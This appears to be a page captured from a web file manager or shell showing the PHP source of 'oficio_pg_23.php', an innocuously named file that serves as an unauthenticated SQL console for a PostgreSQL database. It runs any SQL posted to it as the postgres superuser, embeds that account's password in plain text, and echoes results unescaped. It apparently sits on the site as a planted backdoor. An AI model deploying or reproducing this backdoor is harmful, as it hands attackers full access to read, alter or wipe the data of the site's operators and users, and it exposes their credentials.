File manager - Edit - /www/docs/oficio_pg_23.php
Back
<?php // Verificar si se ha enviado un comando SQL a través del formulario if ($_SERVER["REQUEST_METHOD"] == "POST" && !empty($_POST["sql"])) { $sql = $_POST["sql"]; // Obtener el comando SQL del formulario // Configuración de la conexión a la base de datos $host = 'localhost'; $port = 5432; $dbname = 'sisgedo2'; $user = 'postgres'; $password = 'grayacucho2016'; // Cadena de conexión DSN $dsn = "pgsql:host=$host;port=$port;dbname=$dbname;user=$user;password=$password"; try { // Crear la conexión PDO $pdo = new PDO($dsn); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // Ejecutar el comando SQL $result = $pdo->query($sql); // Mostrar resultados $output = "<h2>Resultado:</h2>"; if ($result) { $rows = $result->fetchAll(PDO::FETCH_ASSOC); if (count($rows) > 0) { $output .= '<pre>' . print_r($rows, true) . '</pre>'; } else { $output .= "Comando ejecutado correctamente, sin resultados para mostrar."; } } } catch (PDOException $e) { // Manejo del error de conexión o de consulta $output = "Error en la base de datos: " . $e->getMessage(); } } ?> <!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Terminal SQL para PostgreSQL</title> <script src="https://cdn.tailwindcss.com"></script> </head> <body class="bg-gray-100 text-gray-800"> <div class="max-w-4xl mx-auto p-6"> <h1 class="text-2xl font-bold text-center mb-6">Terminal SQL para PostgreSQL</h1> <form action="oficio_pg_23.php" method="post" class="bg-white p-6 rounded shadow"> <label for="sql" class="block text-lg font-medium mb-2">Comando SQL:</label> <textarea name="sql" id="sql" rows="4" class="w-full p-3 border border-gray-300 rounded focus:outline-none focus:ring-2 focus:ring-blue-500" placeholder="Ingresa tu comando SQL aquí"><?= isset($sql) ? htmlspecialchars($sql) : ''; ?></textarea> <button type="submit" class="mt-4 bg-blue-500 text-white px-4 py-2 rounded hover:bg-blue-600 transition"> Ejecutar SQL </button> </form> <?php if (isset($output)): ?> <div class="mt-6 bg-white p-4 rounded shadow"> <?= $output; ?> </div> <?php endif; ?> <?php if (isset($sql)): ?> <div class="mt-4 p-4 bg-gray-100 border-l-4 border-blue-500"> <h2 class="font-bold text-lg">Comando ejecutado:</h2> <pre class="text-gray-700"><?= htmlspecialchars($sql); ?></pre> </div> <?php endif; ?> </div> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 5.3.5 | Generation time: 0.11 |
proxy
|
phpinfo
|
Settings